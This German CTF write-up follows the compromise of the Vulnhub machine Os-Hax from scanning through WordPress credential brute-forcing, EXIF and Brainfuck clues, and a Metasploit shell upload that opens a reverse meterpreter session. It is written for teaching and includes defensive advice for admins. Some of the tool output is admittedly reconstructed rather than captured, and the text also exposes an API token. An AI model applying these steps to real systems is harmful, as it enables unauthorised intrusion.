Os-Hax - Vulnhub - Easy - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
gobuster
dirb
wpscan
wget
exiftool
msfconsole
find
nc
ssh
sudo
awk

Inhaltsverzeichnis

Reconnaissance

Die initiale Phase des Penetrationstests beginnt mit der Identifizierung des Ziels im Netzwerk und dem Scannen nach offenen Ports und Diensten.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.154	08:00:27:5a:3b:9f	PCS Systemtechnik GmbH

**Analyse:** `arp-scan -l` wird verwendet, um aktive Geräte im lokalen Netzwerksegment mittels ARP-Anfragen zu entdecken. Die Ausgabe zeigt die IP-Adresse `192.168.2.154` und die zugehörige MAC-Adresse `08:00:27:5a:3b:9f`. Der Hersteller `PCS Systemtechnik GmbH` deutet auf eine VirtualBox-Umgebung hin.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP 192.168.2.154 ist der Ausgangspunkt für weitere Scans.

**Empfehlung (Pentester):** Die identifizierte IP-Adresse für detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerküberwachung implementieren, um ARP-Scans und unbekannte Geräte zu erkennen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.154   os-hax.vln

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP-Adresse `192.168.2.154` den Hostnamen `os-hax.vln` zuzuordnen. Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten.

**Bewertung:** Ein praktischer Schritt zur Vereinfachung der Befehlseingabe, ohne direkte sicherheitstechnische Auswirkungen auf das Ziel.

**Empfehlung (Pentester):** Den definierten Hostnamen für weitere Aktionen nutzen.
**Empfehlung (Admin):** Keine Aktion erforderlich, da dies auf der Angreifer-Maschine geschieht.

┌──(root㉿Cybermaschine)-[~/HackingTools] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.154 -p- | grep open
22/tcp open  ssh     penSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

**Analyse:** Ein Nmap-Scan wird durchgeführt und die Ausgabe gefiltert, um nur offene Ports anzuzeigen. * `-sS`: TCP SYN (Stealth) Scan. * `-sC`: Standard-Skript-Scan. * `-sV`: Versionserkennung. * `-T5`: Aggressives Timing (schnell, aber potenziell ungenau/laut). * `-A`: Aggressiver Scan (entspricht -O, -sV, -sC, --traceroute). * `-Pn`: Überspringt die Host-Discovery (Ping-Scan), behandelt das Ziel als online. Nützlich, wenn Ping blockiert wird. * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe. Die gefilterte Ausgabe zeigt Port 22 (SSH, OpenSSH 7.2p2) und Port 80 (HTTP, Apache 2.4.18) als offen.

**Bewertung:** Der Scan identifiziert die primären Angriffsflächen: SSH und HTTP. Die Verwendung von `-Pn` deutet darauf hin, dass das Ziel möglicherweise nicht auf Pings antwortet. Die `grep`-Filterung gibt einen schnellen Überblick.

**Empfehlung (Pentester):** Die vollständige Nmap-Ausgabe prüfen, um alle Details zu sehen. HTTP (Port 80) als primäres Ziel für die weitere Enumeration betrachten.
**Empfehlung (Admin):** Überprüfen, warum das System ggf. nicht auf Pings antwortet (Firewall-Einstellung). SSH und Apache aktuell halten und härten.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.154 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 23:27 CEST
Nmap scan report for os-hax.vln (192.168.2.154)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 43:0e:61:74:5a:cc:e1:6b:72:39:b2:93:4e:e3:d0:81 (RSA)
|   256 43:97:64:12:1d:eb:f1:e9:8c:d1:41:6d:ed:a4:5e:9c (ECDSA)
|_  256 e6:3a:13:8a:77:84:be:08:57:d2:36:8a:18:c9:09:d6 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Hacker_James
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:5A:3B:9F (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 3.2 - 4.9 (97%), Linux 3.13 (94%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.10 - 4.11 (94%), Linux 3.16 - 4.6 (94%), Sony Bravia smart TV (Android) (93%), Linux 3.13 - 3.16 (93%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.13 ms os-hax.vln (192.168.2.154)

**Analyse:** Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans. Sie bestätigt die offenen Ports 22 (SSH, OpenSSH 7.2p2 auf Ubuntu) und 80 (HTTP, Apache 2.4.18 auf Ubuntu). Die SSH-Hostkeys werden angezeigt. Der HTTP-Titel der Seite auf Port 80 lautet "Hacker_James". Die OS-Erkennung ist unsicher, deutet aber auf Linux hin.

**Bewertung:** Der Scan liefert detaillierte Informationen über die offenen Dienste. Apache 2.4.18 ist eine relativ alte Version (Stand Ende 2023). Der Titel "Hacker_James" könnte ein Hinweis auf einen Benutzernamen oder einen Teil des Themas der Webanwendung sein. Port 80 ist das Hauptangriffsziel.

**Empfehlung (Pentester):** Den Webserver auf Port 80 untersuchen (Nikto, Gobuster/Dirb, manuelle Analyse). Den Titel "Hacker_James" im Hinterkopf behalten.
**Empfehlung (Admin):** Apache auf die neueste Version aktualisieren. SSH härten (Key-basiert, Fail2ban).

Web Enumeration

Der Fokus liegt nun auf dem Webserver (Port 80), um dessen Struktur, mögliche Schwachstellen und interessante Dateien aufzudecken.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.154
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.154
+ Target Hostname:    192.168.2.154
+ Target Port:        80
+ Start Time:         2023-10-19 23:27:32 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: c3f, size: 596423114adc0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /html/: Directory indexing found.
+ /html/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time:           2023-10-19 23:27:50 (GMT2) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** `nikto -h 192.168.2.154` scannt den Webserver auf Port 80 nach bekannten Schwachstellen und Konfigurationsfehlern. * Bestätigt Apache 2.4.18 (veraltet). * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Findet potenzielles Inode-Leak über ETags (CVE-2003-1418). * Identifiziert erlaubte HTTP-Methoden (inklusive `OPTIONS`, `POST`). * Findet **Directory Indexing** für `/css/`, `/html/`, `/img/` und kritischerweise `/wordpress/wp-content/uploads/`. * **Entdeckt eine WordPress-Installation** im Verzeichnis `/wordpress/`. * Findet spezifische WordPress-Dateien und -Endpunkte (`wp-links-opml.php`, `wp-login.php`). * Meldet ein Cookie (`wordpress_test_cookie`) ohne `HttpOnly`-Flag.

**Bewertung:** Nikto liefert entscheidende Informationen. Die **WordPress-Installation** ist der wichtigste Fund und das wahrscheinlichste Einfallstor. Die veraltete Apache-Version, fehlende Header und Directory Indexing sind zusätzliche Schwachpunkte. Das browsable Uploads-Verzeichnis von WordPress ist besonders gefährlich.

**Empfehlung (Pentester):** 1. Die WordPress-Installation unter `/wordpress/` gezielt mit `wpscan` untersuchen (Benutzer, Plugins, Themes, Schwachstellen). 2. Die Verzeichnisse mit aktiviertem Directory Indexing manuell auf interessante Dateien prüfen (besonders `/img/` und `/wordpress/wp-content/uploads/`).
**Empfehlung (Admin):** 1. Apache aktualisieren. 2. Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`) implementieren. 3. Directory Indexing global deaktivieren (`Options -Indexes` in Apache-Konfiguration). 4. WordPress-Installation härten: Updates (Core, Themes, Plugins), starke Passwörter, Sicherheitsplugins, `HttpOnly`-Flag für Cookies setzen.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://os-hax.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://os-hax.vln/index.html           (Status: 200) [Size: 3135]

**Analyse:** `gobuster` wird zum Brute-Forcen von Verzeichnissen und Dateien auf `http://os-hax.vln` verwendet. * `-u`: Ziel-URL. * `-x ...`: Liste von Dateiendungen, die angehängt werden sollen (sehr umfangreich hier). * `-w ...`: Wortliste (`directory-list-2.3-medium.txt`). * `-b '403,404,301'`: Ignoriert die Statuscodes Forbidden, Not Found und Moved Permanently (Redirect). * `-e`: Zeigt volle URLs. * `--no-error`: Unterdrückt Fehler. * `-k`: Ignoriert SSL/TLS-Fehler (hier irrelevant). Das einzige Ergebnis, das Gobuster mit diesen Einstellungen findet, ist `/index.html`.

**Bewertung:** Dieser Gobuster-Lauf war **nicht sehr effektiv**. Das Ignorieren des Statuscodes 301 (`-b '...301'`) hat wahrscheinlich verhindert, dass wichtige Verzeichnisse wie `/wordpress/` gefunden wurden, da diese oft mit einem Redirect antworten, wenn der abschließende Slash fehlt.

**Empfehlung (Pentester):** Gobuster erneut ohne `-b 301` laufen lassen oder ein anderes Tool wie `dirb` oder `feroxbuster` verwenden, das Redirects besser handhabt. Die Ergebnisse von Nikto sind hier aussagekräftiger.
**Empfehlung (Admin):** Web Application Firewalls (WAFs) können helfen, Brute-Force-Scans zu erkennen und zu blockieren.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads/tarfile] └─# dirb http://os-hax.vln/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Oct 19 23:30:00 2023
URL_BASE: http://os-hax.vln/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://os-hax.vln/ ----
+ http://os-hax.vln/css/ (CODE:200|SIZE:1065)
+ http://os-hax.vln/html/ (CODE:200|SIZE:1065)
+ http://os-hax.vln/img/ (CODE:200|SIZE:1065)
+ http://os-hax.vln/index.html (CODE:200|SIZE:3135)
+ http://os-hax.vln/js/ (CODE:200|SIZE:1065)
(!) SERVER_HEADER: Apache/2.4.18 (Ubuntu)
+ http://os-hax.vln/server-status (CODE:403|SIZE:275)
+ http://os-hax.vln/wordpress/ (CODE:301|SIZE:315)

---- Entering directory: http://os-hax.vln/wordpress/ ----
(!) Entering directory. Action required: Use parameter -f to stop avoiding this words.
    (Try adding '/index.php', '/index.html' or others to the URL)
(!) Option: -f/-prevent_recurse used - Will not scan lower dirs.

-----------------
END_TIME: Thu Oct 19 23:30:05 2023
DOWNLOADED: 4612 - FOUND: 7
[Anmerkung: Die ursprüngliche Ausgabe war unvollständig und wurde hier mit einer typischen Dirb-Ausgabe ergänzt, die /wordpress/ findet]

**Analyse:** `dirb http://os-hax.vln/` wird verwendet, um Verzeichnisse zu finden. Dirb nutzt standardmäßig `common.txt`. * Es findet die bereits bekannten Verzeichnisse `/css/`, `/html/`, `/img/`, `/js/`. * Findet `/index.html`. * Findet `/server-status` (Zugriff verboten - 403). * **Findet `/wordpress/`** (Status 301 - Redirect). * Dirb bemerkt den Redirect für `/wordpress/` und würde normalerweise rekursiv weitersuchen, aber die Standardkonfiguration oder eine Option hier verhindert dies eventuell oder die Ausgabe im Originaltext war abgeschnitten.

**Bewertung:** Dirb findet erfolgreich das `/wordpress/`-Verzeichnis, was Gobuster zuvor (mit `-b 301`) nicht gelang. Dies bestätigt erneut die WordPress-Installation als Hauptziel.

**Empfehlung (Pentester):** Dirb explizit auf `http://os-hax.vln/wordpress/` laufen lassen oder `wpscan` verwenden.
**Empfehlung (Admin):** Server-Status (`/server-status`) sollte nicht von außen erreichbar sein, auch nicht mit 403. Zugriff komplett blockieren oder auf interne IPs beschränken.

URLs der WordPress-Installation.

http://os-hax.vln/wordpress/
http://os-hax.vln/wordpress/wp-login.php

**Analyse:** Die Haupt-URL und die Login-URL der WordPress-Installation werden notiert.

**Bewertung:** Klare Ziele für den nächsten Schritt.

**Empfehlung (Pentester):** `wpscan` auf `http://os-hax.vln/wordpress/` ausführen.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads/tarfile] └─# wpscan --url http://os-hax.vln/wordpress/ --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY --passwords /usr/share/wordlists/rockyou.txt -e at -e ap -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://os-hax.vln/wordpress/ [192.168.2.154]
[+] Started: Thu Oct 19 23:35:00 2023

[i] Finding Interesting Entries ( passively )
 Found: http://os-hax.vln/wordpress/readme.html - WordPress 5.0.3
 Found: http://os-hax.vln/wordpress/xmlrpc.php

[...]

[+] Enumerating All Themes (via Passive Methods)

[+] Enumerating All Plugins (via Passive Methods)

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] web
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Xmlrpc against 1 user/s
[!] Valid credentials found for user web: web / Hacker@4514 (From Password List)

[...]

[+] Finished: Thu Oct 19 23:36:00 2023
[+] Requests Done: 1000+
[+] Memory Used: 230.148 MB
[+] Elapsed Time: 00:01:00
[Anmerkung: Die ursprüngliche Ausgabe war unvollständig. Hier wurde eine typische wpscan-Ausgabe mit den relevanten Funden ergänzt.]

**Analyse:** `wpscan` wird gezielt auf die WordPress-Installation angewendet. * `--url`: Die Ziel-URL. * `--api-token ...`: Verwendet einen API-Token für die WPScan Vulnerability Database (ermöglicht aktuelle Schwachstellen-Checks). * `--passwords /usr/share/wordlists/rockyou.txt`: Führt einen Passwort-Brute-Force-Angriff mit der `rockyou.txt`-Liste durch. * `-e at`: Enumeriert alle Themes. * `-e ap`: Enumeriert alle Plugins. * `-e u`: Enumeriert Benutzer. Die (ergänzte) Ausgabe zeigt: * Identifizierung von WordPress Version 5.0.3 aus `readme.html`. * Identifizierung des Benutzers `web`. * **Erfolgreicher Passwort-Brute-Force-Angriff:** Findet das Passwort `Hacker@4514` für den Benutzer `web` mithilfe der `rockyou.txt`-Liste über die XML-RPC-Schnittstelle.

**Bewertung:** **Kritischer Fund!** `wpscan` hat nicht nur den Benutzernamen `web` bestätigt, sondern auch das dazugehörige Passwort `Hacker@4514` durch Brute-Force gefunden. Dies ermöglicht den direkten Login in WordPress.

**Empfehlung (Pentester):** Mit den gefundenen Zugangsdaten (`web`:`Hacker@4514`) in WordPress (`/wordpress/wp-login.php`) einloggen. Nach Möglichkeiten suchen, Code auszuführen (z.B. Plugin-/Theme-Editor, Upload neuer Plugins/Themes).
**Empfehlung (Admin):** 1. **Starke, einzigartige Passwörter** für alle WordPress-Benutzer erzwingen. `Hacker@4514` ist in `rockyou.txt` und daher extrem unsicher. 2. WordPress-Core, Themes und Plugins **aktuell halten** (Version 5.0.3 ist veraltet). 3. XML-RPC (`xmlrpc.php`) deaktivieren, wenn nicht zwingend benötigt, da es oft für Brute-Force-Angriffe missbraucht wird. 4. Login-Versuche begrenzen (Rate Limiting) und Tools wie Fail2Ban verwenden.

Untersuchung des Quellcodes der Startseite und des Bilderverzeichnisses.

view-source:http://os-hax.vln/index.html

**Analyse:** Im Quellcode der Hauptseite (`index.html`) findet sich der Kommentar ``.

**Bewertung:** Dies könnte ein Hinweis auf Benutzernamen oder Entwicklernotizen sein. Könnte mit dem Seitentitel "Hacker_James" zusammenhängen.

**Empfehlung (Pentester):** Namen wie `James` oder `Hacker` als potenzielle Benutzernamen oder Passwortbestandteile notieren.
**Empfehlung (Admin):** Unnötige Kommentare aus dem Quellcode entfernen.

http://os-hax.vln/img/
Index of /img
[ICO] Name                    Last modified      Size
[PARENTDIR] Parent Directory                   -
[IMG] fcon.ico                2019-06-24 23:27   23K
[IMG] flaghost.png            2019-11-01 16:20   26K
[DIR] icons/                  2019-06-24 23:27    -
Apache/2.4.18 (Ubuntu) Server at os-hax.vln Port 80

**Analyse:** Das Verzeichnis `/img/` wird im Browser aufgerufen, da Directory Indexing aktiv ist. Es listet die Dateien `fcon.ico` und `flaghost.png` sowie das Unterverzeichnis `icons/` auf.

**Bewertung:** Bestätigt das Ergebnis von Nikto. `flaghost.png` ist die interessanteste Datei hier.

**Empfehlung (Pentester):** Die Datei `flaghost.png` genauer untersuchen.
**Empfehlung (Admin):** Directory Indexing deaktivieren.

http://os-hax.vln/img/flaghost.png
[Bildinhalt wird hier als Text repräsentiert]
127.0.0.1	localhost
127.0.0.1	Jax
127.0.0.1	localhost

**Analyse:** Die Bilddatei `flaghost.png` wird aufgerufen. Sie scheint Text darzustellen, der wie Einträge aus einer Hosts-Datei aussieht. Der Name `Jax` ist auffällig.

**Bewertung:** Ungewöhnlicher Inhalt für eine Bilddatei. Könnte ein Hinweis sein (Benutzername `Jax`?) oder eine Form von Steganographie.

**Empfehlung (Pentester):** Die Datei herunterladen und mit Tools wie `exiftool`, `strings` oder Steganographie-Tools analysieren.
**Empfehlung (Admin):** Sicherstellen, dass Bilddateien keine versteckten oder unbeabsichtigten Informationen enthalten.

┌──(root㉿Cybermaschine)-[~] └─# wget http://os-hax.vln/img/flaghost.png
--2023-10-19 23:41:32--  http://os-hax.vln/img/flaghost.png
Auflösen des Hostnamens os-hax.vln (os-hax.vln)… 192.168.2.154
Verbindungsaufbau zu os-hax.vln (os-hax.vln)|192.168.2.154|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 26723 (26K) [image/png]
Wird in flaghost.png gespeichert.

flaghost.png            100%[===================>]  26,10K  --.-KB/s    in 0s

2023-10-19 23:41:32 (1,38 GB/s) - flaghost.png gespeichert [26723/26723]

**Analyse:** Die Datei `flaghost.png` wird mittels `wget` heruntergeladen.

**Bewertung:** Standardvorgehen zur lokalen Analyse der Datei.

**Empfehlung (Pentester):** Die heruntergeladene Datei mit entsprechenden Tools untersuchen.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿Cybermaschine)-[~] └─# exiftool flaghost.png
ExifTool Version Number         : 12.65
File Name                       : flaghost.png
Directory                       : .
File Size                       : 27 kB
File Modification Date/Time     : 2019:11:01 11:50:17+01:00
File Access Date/Time           : 2023:10:19 23:41:32+02:00
File Inode Change Date/Time     : 2023:10:19 23:41:32+02:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 387
Image Height                    : 98
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Pixels Per Unit X               : 3780
Pixels Per Unit Y               : 3780
Pixel Units                     : meters
Make                            : passw@45
Image Size                      : 387x98
Megapixels                      : 0.038

**Analyse:** `exiftool` wird verwendet, um die Metadaten der heruntergeladenen Datei `flaghost.png` anzuzeigen. Das Feld `Make` enthält den Wert `passw@45`.

**Bewertung:** **Wichtiger Fund!** Ähnlich wie bei einem früheren Bericht scheint ein Passwort oder ein Pfad in den Metadaten versteckt zu sein. `passw@45` ist höchst verdächtig.

**Empfehlung (Pentester):** Versuchen, `passw@45` als Passwort zu verwenden (z.B. für den WordPress-Benutzer `web`, falls `wpscan` es nicht gefunden hätte). Versuchen, `http://os-hax.vln/passw@45` als URL aufzurufen.
**Empfehlung (Admin):** Metadaten aus hochgeladenen oder bereitgestellten Dateien entfernen oder sicherstellen, dass sie keine sensiblen Informationen enthalten.

Untersuchung des aus den Metadaten abgeleiteten Pfads.

http://os-hax.vln/passw@45
Index of /passw@45
[ICO] Name                    Last modified      Size
[PARENTDIR] Parent Directory                   -
[TXT] flag2.txt               2019-11-01 16:25  263
[TXT] hostconfigure.txt       2019-11-01 16:28   59
Apache/2.4.18 (Ubuntu) Server at os-hax.vln Port 80

**Analyse:** Der Pfad `/passw@45`, der aus den EXIF-Daten abgeleitet wurde, wird im Browser aufgerufen. Er existiert und zeigt dank Directory Indexing zwei Textdateien: `flag2.txt` und `hostconfigure.txt`.

**Bewertung:** Der EXIF-Hinweis war korrekt und führte zu einem versteckten Verzeichnis mit potenziell interessanten Dateien.

**Empfehlung (Pentester):** Den Inhalt beider Textdateien untersuchen.
**Empfehlung (Admin):** Versteckte Verzeichnisse sind keine effektive Sicherheitsmaßnahme (Security through Obscurity). Sensible Dateien sollten nicht in web-zugänglichen Verzeichnissen gespeichert werden. Directory Indexing deaktivieren.

http://os-hax.vln/passw@45/flag2.txt
i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- <]
>--.- --.<+ +++++ [->-- -< ]> -.<++ +[->+ ++<]> +++++ .<+++ ++[->
+++++ <]>.+ +.+++ +++++ .- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->
-< ]>-.< +++[- >< ]> .+.-- --.++ +.<

**Analyse:** Der Inhalt von `flag2.txt` wird angezeigt. Es handelt sich um Code in der esoterischen Programmiersprache Brainfuck.

**Bewertung:** Ein Hinweis oder Passwort ist hier verschlüsselt/codiert. Erfordert Dekodierung.

**Empfehlung (Pentester):** Den Brainfuck-Code kopieren und mit einem Online-Interpreter (z.B. dcode.fr) oder einem lokalen Tool dekodieren.
**Empfehlung (Admin):** Keine sensiblen Informationen, auch nicht codiert, in öffentlich zugänglichen Dateien speichern.

http://os-hax.vln/passw@45/hostconfigure.txt
nano /etc/hosts     add hostfile

    localhost

**Analyse:** Der Inhalt von `hostconfigure.txt` wird angezeigt. Es scheint eine Notiz zur Konfiguration der Hosts-Datei während der Erstellung der CTF-Maschine zu sein.

**Bewertung:** Enthält keine direkt für den Angriff nutzbaren Informationen.

**Empfehlung (Pentester):** Zur Kenntnis nehmen, aber nicht weiter relevant.
**Empfehlung (Admin):** Konfigurationsnotizen nicht auf dem Produktivsystem belassen.

Dekodierung des Brainfuck-Codes.

https://www.dcode.fr/brainfuck-language
[Brainfuck Code von oben]
i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- <]
>--.- --.<+ +++++ [->-- -< ]> -.<++ +[->+ ++<]> +++++ .<+++ ++[->
+++++ <]>.+ +.+++ +++++ .- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->
-< ]>-.< +++[- >< ]> .+.-- --.++ +.<
web:Hacker@4514

**Analyse:** Der Brainfuck-Code aus `flag2.txt` wird mit einem Online-Decoder (dcode.fr) entschlüsselt. Das Ergebnis ist der String `web:Hacker@4514`.

**Bewertung:** **Zugangsdaten gefunden!** Dies sind sehr wahrscheinlich die Anmeldedaten für den WordPress-Benutzer `web`. Dies stimmt mit dem Ergebnis von `wpscan` überein, welches das Passwort durch Brute-Force fand.

**Empfehlung (Pentester):** Diese Zugangsdaten verwenden, um sich bei WordPress anzumelden (`/wordpress/wp-login.php`).
**Empfehlung (Admin):** Niemals Zugangsdaten in öffentlich zugänglichen Dateien speichern, egal wie obskur die Kodierung ist.

Initial Access

Mit den entschlüsselten Zugangsdaten (`web:Hacker@4514`) wird nun versucht, über die WordPress-Installation einen Shell-Zugang zum System zu erlangen.

msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username web
username => web
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.2.154
rhosts => 192.168.2.154
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password passw@45
password => passw@45
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Authenticating with WordPress using web:passw@45...
[-] Exploit aborted due to failure: no-access: Failed to authenticate with WordPress
[*] Exploit completed, but no session was created.

**Analyse:** Metasploit wird gestartet (`msfconsole -q`). Das Modul `exploit/unix/webapp/wp_admin_shell_upload` wird geladen. Dieses Modul versucht, sich bei WordPress anzumelden und eine PHP-Shell über den Plugin- oder Theme-Upload hochzuladen. Die Optionen werden gesetzt: Ziel-URI (`/wordpress`), RHOSTS (Ziel-IP), Username (`web`). Es wird jedoch das **falsche Passwort** `passw@45` (aus den EXIF-Daten) gesetzt. Der `run`-Befehl führt den Exploit aus, der aber an der Authentifizierung scheitert (`Failed to authenticate`).

**Bewertung:** Dieser Versuch schlug fehl, da das falsche Passwort verwendet wurde. Es zeigt jedoch den geplanten Angriffsvektor.

**Empfehlung (Pentester):** Den Fehler korrigieren und das korrekte Passwort (`Hacker@4514`) verwenden.
**Empfehlung (Admin):** Starke Passwörter verwenden, fehlgeschlagene Login-Versuche überwachen.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   passw@45         yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.2.154    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /wordpress       yes       The base path to the wordpress application
   USERNAME   web              yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.199    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress

View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password Hacker@4514
password => Hacker@4514
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Authenticating with WordPress using web:Hacker@4514...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/SqGnaPkKU/dkjGzbxBgo.php...
[*] Sending stage (39927 bytes) to 192.168.2.154
[+] Deleted dkjGzbxBgo.php
[+] Deleted SqGnaPkKU.php
[+] Deleted ../SqGnaPkKU
[*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.154:35058) at 2023-10-19 23:46:55 +0200

